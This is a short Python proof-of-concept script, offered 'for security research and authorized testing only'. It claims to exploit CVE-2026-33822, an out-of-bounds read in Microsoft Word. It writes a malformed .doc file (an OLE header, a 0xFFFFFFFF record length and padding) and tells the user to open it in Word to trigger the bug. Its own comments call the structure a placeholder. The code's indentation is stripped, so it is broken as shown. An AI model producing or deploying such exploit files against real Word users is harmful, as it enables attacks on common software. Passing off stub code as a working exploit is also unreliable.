The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-33822
# This script generates a malformed file structure to trigger the Out-of-bounds Read.
# Note: Actual exploit requires specific binary structure manipulation.
import struct
def generate_malformed_doc(filename):
# Generic DOC file header placeholder
header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1'
# Simulate a malformed record length that triggers OOB read
# In a real scenario, this would target a specific parser offset
malformed_record = struct.pack('<I', 0xFFFFFFFF)
with open(filename, 'wb') as f:
f.write(header)
f.write(malformed_record)
# Fill rest with padding
f.write(b'A' * 1000)
print(f"Malformed file generated: {filename}")
print("Open this file in Microsoft Word to trigger the vulnerability.")
if __name__ == "__main__":
generate_malformed_doc('cve_2026_33822_poc.doc')